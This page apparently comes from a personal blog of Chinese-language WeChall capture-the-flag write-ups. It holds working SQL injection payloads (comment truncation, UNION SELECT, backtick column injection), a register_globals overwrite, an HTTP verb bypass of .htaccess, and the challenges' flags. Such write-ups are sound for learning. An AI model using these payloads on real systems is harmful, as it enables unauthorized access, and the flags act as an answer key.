Hello Navi

Tech, Security & Personal Notes

Challenge

Warchall 入门挑战。在 WeChall 挑战页面注册 SSH 账号,然后 SSH 登录 Warchall 服务器(ssh -p 19198 <username>@warchall.net),完成 Level 0-5 六个初始关卡。答案以逗号分隔提交,格式为 Solution1,Solution2,Solution3,Solution4,Solution5,Solution6(对应 Level 0-5)。

Solution

SSH 登录后,关卡目录在 /home/level/,每关还有一个副本在 ~/level/(你的 home 目录下)。

Level 0 (/home/level/00_welcome/):

1
$ cat /home/level/00_welcome/README.md

Level 1 (/home/level/01_choice_tree/):

1
2
3
4
5
6
$ ls /home/level/01_choice_tree/
blue green README.md red
$ find /home/level/01_choice_tree/ -type f
/home/level/01_choice_tree/blue/hats/grey/solution/patience/SOLUTION.txt
...
$ cat /home/level/01_choice_tree/blue/hats/grey/solution/patience/SOLUTION.txt

在目录树中探索,选择 blue 路径(提示: "become a gray hat"),深入到 blue/hats/grey/solution/patience/SOLUTION.txt

Level 2 (/home/level/02/):

1
2
3
4
5
6
7
$ ls /home/level/02/
documents photos
$ ls -al /home/level/02/
drwxr-xr-x 2 root level02 4096 Jan 10 2023 documents
drwxr-xr-x 2 root level02 4096 Jan 11 2023 photos
drwxr-xr-x 2 root level02 4096 Jan 11 2023 .porb
$ cat /home/level/02/.porb/.solution

ls 看不到答案,用 ls -al 发现隐藏目录 .porb

Level 3 (/home/level/03/):

1
2
$ cat /home/level/03/.bash_history
The solution to SSH3 is: RepeatingHistory

读取 .bash_history 文件直接获得答案。

Level 4 (/home/level/04_kwisatz/):

1
2
3
4
5
6
7
$ cat /home/level/04_kwisatz/README.nfo
Look in your ~
$ ls -la ~/level/04_kwisatz/
---------- 1 <username> <username> 248 Jun 4 05:02 README2.md
-rw-r--r-- 1 <username> <username> 140 Jun 4 05:02 README.txt
$ chmod u+r ~/level/04_kwisatz/README2.md
$ cat ~/level/04_kwisatz/README2.md

README.nfo 提示看 home 目录。~/level/04_kwisatz/README2.md 权限为 ----------(无任何权限),但文件所有者是自己,用 chmod u+r 添加读权限。

Level 5 (/home/level/05_privacy/):

1
2
3
4
$ cat /home/level/05_privacy/README.md
# WAR#5: Privacy
Please protect your ~ from any other people than yourself.
The 5th solution is "OKPRIVATE" without the quotes.

README 直接给出答案。实际操作是用 chmod 700 ~ 保护 home 目录不被其他用户访问。

bitwarrior,patience,HiddenIsConfig,RepeatingHistory,AndOfCourseIDoKnowChown,OKPRIVATE

Challenge

在线投票系统,需要将任意候选人的票数设为 111。票数达到 100 会自动重置。有源代码。

Solution

源码中 noesc_voteup() 的关键漏洞:

1
2
$who = GDO::escape($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

$who 被直接插入到 SQL 的列名位置(反引号内)。GDO::escape() 只转义字符串值(引号等),但不转义反引号

防御代码仅检查了 $who 以 'id' 开头或含 '/',但未过滤反引号:

1
2
3
4
if ( (stripos($who, 'id') === 0) || (strpos($who, '/') !== false) ) {
echo 'Please do not mess with the id.';
return;
}

利用反引号注入闭合列名,用 -- 注释掉后面的 SQL:

1
2
$ curl -b 'WC=...' -g \
'https://www.wechall.net/en/challenge/no_escape/index.php?vote_for=scholz%60%3D111%20--%20'

URL 解码后 vote_for=scholz=111 -- `,执行的实际 SQL:

1
UPDATE noescvotes SET `scholz`=111 -- `=`scholz`=111 -- `+1 WHERE id=1

SET 子句被截断为 SETscholz=111,scholz 的票数直接设为 111。

Challenge

利用 PHP register_globals 漏洞。该挑战模拟了旧版 PHP register_globals=On 的行为:

1
foreach ($_GET as $k => $v) { $$k = $v; }

register_globals 启用时,GET/POST 参数会自动成为全局变量。目标是以 admin 身份登录。

提供了一个测试账号 test:test,但只能以用户 test 身份登录,无法登录 admin

挑战的核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }

# Send request?
if (isset($_POST['password']) && isset($_POST['username'])
&& is_string($_POST['password']) && is_string($_POST['username']))
{
$uname = GDO::escape($_POST['username']);
$pass = md5($_POST['password']);
$query = "SELECT level FROM ... WHERE username='$uname' AND password='$pass'";
$db = gdo_db();
if (false === ($row = $db->queryFirst($query))) {
echo GWF_HTML::error(...);
} else {
# Login success
$login = array($_POST['username'], (int)$row['level']);
}
}

if (isset($login))
{
echo GWF_HTML::message('Register Globals', 'Welcome back, ...');
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}

Solution

register_globals=On 的行为是将 GET/POST 参数直接提升为全局变量。代码中的 foreach ($_GET as $k => $v) { $$k = $v; }(variable variables)模拟了这一机制。

直接传入 login[0]=admin 构造 $login 数组:

1
2
$ curl -b 'WC=...' -g \
'https://www.wechall.net/en/challenge/training/php/globals/globals.php?login[0]=admin'

foreach ($_GET as $k => $v) { $$k = $v; }$_GET['login'] = ['admin'] 赋给 $loginisset($login)$login[0] === 'admin' 同时通过,挑战完成。userlevel 为空是因为绕过了数据库查询——没有真实用户被认证,但这不影响 flag 发放。

注意 URL 中的 [] 需要用 -g--globoff)防止 curl 解释为通配符。

Challenge

I try to secure my pages with .htaccess. Am I doing it right?

To prove me wrong, please access protected/protected.php.

挑战页包含两个链接:"my pages"(页面列表)和 ".htaccess"(源码)。

Solution

源码中的 .htaccess

1
2
3
4
5
6
7
8
AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic

<Limit GET>
require valid-user
</Limit>

关键漏洞:<Limit GET> 只限制 GET 方法。其他 HTTP method(POST、PUT、PATCH 等)不受限制。

直接用 POST 请求即可绕过:

1
curl -X POST https://www.wechall.net/challenge/wannabe7331/limited_access/protected/protected.php

如果用浏览器,也可以直接写一个 <form method="POST"> 提交到目标 URL,或者用 Burp Suite / HackBar 把 GET 改成 POST 重放。

Challenge

4-level regex training on WeChall. Each level requires the shortest possible regex pattern, submitted with delimiters (e.g. /pattern/).

Solution

Level 1 — match empty string: /^$/

Level 2 — match the string "wechall" exactly: /^wechall$/

Level 3 — match image filenames wechall.ext or wechall4.ext with valid extensions (jpg, gif, tiff, bmp, png):

1
/^wechall4?\.(?:gif|tiff|png|jpg|bmp)$/
  • 4? makes the 4 optional (wechall or wechall4)
  • (?:...) non-capturing group for the extensions (shortest possible)

Level 4 — same as L3 but capture the filename without extension:

1
/^(wechall4?)\.(?:gif|tiff|png|jpg|bmp)$/
  • (wechall4?) capture group returns wechall or wechall4

Challenge

MySQL Authentication Bypass II. Same as MySQL I, but with an additional password hash check. Your mission: Login yourself as admin. MySQL 认证绕过第二版。与 MySQL I 相同,但增加了密码哈希校验。目标:以 admin 身份登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();

$password = md5($password); # step A: hash the password
$query = "SELECT * FROM users WHERE username='$username'";

if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', 'Unknown user');
return false;
}

### NEW CHECK ###
if ($result['password'] !== $password) { # step B: compare hashes
echo GWF_HTML::error('Auth2', 'Wrong password');
return false;
}

if (strtolower($result['username']) === 'admin') { # step C: award points
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}

Solution

约束分析

MySQL I 的 admin' -- 在这里失效了,因为新增的密码校验:

  1. 密码先哈希$password = md5($password) 在查询之前执行,无法通过 SQL 注入绕过
  2. 查询结果校验$result['password'] !== $password 强制查询返回行的 password 列必须等于提交密码的 MD5

解法思路:既然我们需要控制查询返回的 password 值,用 UNION SELECT 自己构造一行即可。

注入点确认

username 直接拼接进 SQL,无任何过滤:

1
SELECT * FROM users WHERE username='<INJECTION>'

列数探测

users 表结构(来自源码注释):

1
2
3
4
5
CREATE TABLE IF NOT EXISTS users (
userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(32) NOT NULL,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
);

3 列:userid, username, password

构造 UNION 注入

选一个任意密码,计算其 MD5,然后用 UNION SELECT 构造一行包含 admin + 该 MD5:

payload 构造过程:

  1. 选密码 xmd5('x') = 9dd4e461268c8034f5c8564e155c67a6
  2. 用户名注入:
    1
    ' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' --
  3. 密码字段填:x

最终 SQL:

1
2
SELECT * FROM users WHERE username=''
UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- '

username='' 不匹配任何用户,UNION 的唯一一行就是 admin + 已知 MD5,完美通过 $result['password'] !== $password 检查。

提交

1
2
3
4
5
$ curl -sL 'https://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php' \
-b 'WC=...' \
--data-urlencode "username=' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- " \
--data-urlencode 'password=x' \
--data-urlencode 'login=Login'

返回 Welcome back, admin!,挑战解决。

Challenge

A simple monoalphabetic substitution cipher. The plaintext is a fixed 30-word sentence; only the password word (position 21, 12 letters) is dynamic per session. 简单的单表替换密码。明文是一个固定的 30 词句子,只有第 21 个词(12 个字母)是每 session 动态变化的。

1
2
3
4
5
6
Oh dear, I guess you have cracked the two caesar cryptos...
This one is more difficult. Although a simple substitution is easily cracked...
Again the characters are limited to A-Z... But I think I can come up with a 256 version again.

Enjoy!
SR ZBC UWJPKBZR KIH RID AUE QCUH ZBPN JR LQPCEH P UJ PJMQCNNCH TCQR YCWW HIEC RIDQ NIWDZPIE GCR PN MEESELIEACIP ZBPN WPZZWC ABUWWCEKC YUN EIZ ZII BUQH YUN PZ

Solution

这是一个 dynamic challenge — 每次加载页面都会生成新的密文,但明文句子的结构固定,只有密码词变化。解法是通过 known-plaintext matching 建立字母映射表。

步骤 1:确定已知词

把 30 个密文词列出来,用常见的短英语词来锚定:

1
2
3
4
5
6
7
8
 1: SR          2: ZBC         3: UWJPKBZR     4: KIH
5: RID 6: AUE 7: QCUH 8: ZBPN
9: JR 10: LQPCEH 11: P 12: UJ
13: PJMQCNNCH 14: TCQR 15: YCWW 16: HIEC
17: RIDQ 18: NIWDZPIE 19: GCR 20: PN
21: MEESELIEACIP 22: ZBPN 23: WPZZWC
24: ABUWWCEKC 25: YUN 26: EIZ 27: ZII
28: BUQH 29: YUN 30: PZ

WeChall Substitution I 的固定部分含有大量可识别的短词:

  • 第 2 词 ZBC (3 字母) → "the"(英语最常用词)
  • 第 1 词 SR (2 字母) → "by"(常见介词)
  • 第 5 词 RID (3 字母) → "you"
  • 第 6 词 AUE (3 字母) → "can"
  • 第 27 词 ZII (3 字母, 双写结尾) → "too"(仅有的几个双写 3 字母词之一)
  • 第 25/29 词 YUN (3 字母) → "was"(在句子中位置吻合)

步骤 2:推导映射

从第 2 词 ZBC → "the" 开始:

1
2
3
Z → t
B → h
C → e

第 5 词 RID → "you":

1
2
3
R → y
I → o
D → u

第 27 词 ZII → "too"(Z 已知 → t,II → oo,确认匹配):

1
I → o   ✓(与 RID 一致)

第 1 词 SR → "by":

1
2
S → b
R → y ✓(与 RID 一致)

不断重复——每匹配一个词就扩充映射表。29 个固定词的映射足以覆盖 A-Z 几乎所有字母。

步骤 3:解码密码词

第 21 词 MEESELIEACIP 是密码词。用已推导的映射逐字母解码即可得到 12 字母密码。

也可以直接用 subsolve 自动解:

1
2
3
4
5
6
7
8
9
$ ./target/release/subsolve "SR ZBC UWJPKBZR KIH RID AUE QCUH ZBPN JR LQPCEH P UJ PJMQCNNCH TCQR YCWW HIEC RIDQ NIWDZPIE GCR PN MEESELIEACIP ZBPN WPZZWC ABUWWCEKC YUN EIZ ZII BUQH YUN PZ"
Score: -567.73 (quadgram)
─────────────────────────────────────────────────────────────────
by the almighty god you can read this my friend iam impressed very well
done your solution key is pn nb nf once oi this little challenge was not
too hard was it
─────────────────────────────────────────────────────────────────
alt 2 (q: -1549.27): by the almighty god you can read this my friend i am impressed very well done yo...
alt 3 (q: -1557.21): by the almighty god you can read this my friend iam impressed very well done you...
pnnbnfonceoi

此密码为当前 session 动态值,其他 session 的密码需重新解码。方法不变——known-plaintext matching 或 subsolve tool 均可。

Challenge

访问 ?action=request 获取一个随机消息,在 1.337 秒内将相同的消息提交回 ?answer=<message>

1
2
3
When you visit this link you receive a message.
Submit the same message back to .../?answer=the_message
Your timelimit is 1.337 seconds

Solution

手动打开两个页面来不及,需要用脚本在同一次 shell 调用中完成——变量捕获后立即提交:

1
2
MSG=$(curl -s -b 'WC=...' 'https://www.wechall.net/challenge/training/programming1/index.php?action=request')
curl -s -b 'WC=...' "https://www.wechall.net/challenge/training/programming1/index.php?answer=$MSG"

消息每次都不同(如 CRg1xhGuz97G7sp7IJGZk),且只有 1.337 秒有效。需要登录态(WC cookie)才能请求。

1
2
3
4
5
6
7
8
9
10
11
12
import subprocess, sys
url = 'https://www.wechall.net/challenge/training/programming1/index.php'
cookie = 'WC=...'

msg = subprocess.run(
['curl', '-s', '-b', cookie, url + '?action=request'],
capture_output=True, text=True).stdout.strip()

result = subprocess.run(
['curl', '-s', '-b', cookie, url + f'?answer={msg}'],
capture_output=True, text=True).stdout
print(result)
关键是用同一个 shell session 连续执行请求和提交,中间不加人工操作。

Challenge

The page displays a long binary string — 7-bit ASCII encoded text:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
10101001101000110100111100110100
00011101001100101111100011101000
10000011010011110011010000001101
11010110111000101101001111010001
00000110010111011101100011110111
11100100110010111001000100000110
00011110011110001111010011101001
01011100100000101100111011111110
10111100100100000111000011000011
11001111100111110111110111111100
10110010001000001101001111001101
00000110010111000011110011111100
11110011111010011000011110010111
0100110010111100100101110

Solution

每 7 位一组转十进制,再转 ASCII 字符:

1
2
3
4
bin_str = "01010100 01101000 ..."
chars = [chr(int(b, 2)) for b in bin_str.split()]
print(''.join(chars))
# This text is 7-bit encoded ascii. Your password is ***********.
easystarter

经典 MySQL 认证绕过。登录表单直接将用户输入拼接进 SQL 查询。

Challenge

目标:以 admin 身份登录。

源码中的查询逻辑:

1
2
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  • $username 直接从 POST 参数拼接,无任何过滤
  • $password 经过 md5() 编码后再拼接,注入困难
1
2
3
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}

要求返回的 username 字段为 admin(大小写不敏感)。

Solution

在 username 注入 SQL 注释,截断密码检查:

1
2
Username: admin' --
Password: (任意)

实际执行的 SQL:

1
SELECT * FROM users WHERE username='admin' -- ' AND password='<md5>'

-- 后的内容被注释掉,查询只检查 username='admin'。数据库中存在 admin 用户,返回其数据,strtolower($result['username']) === 'admin' 成立,挑战解决。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE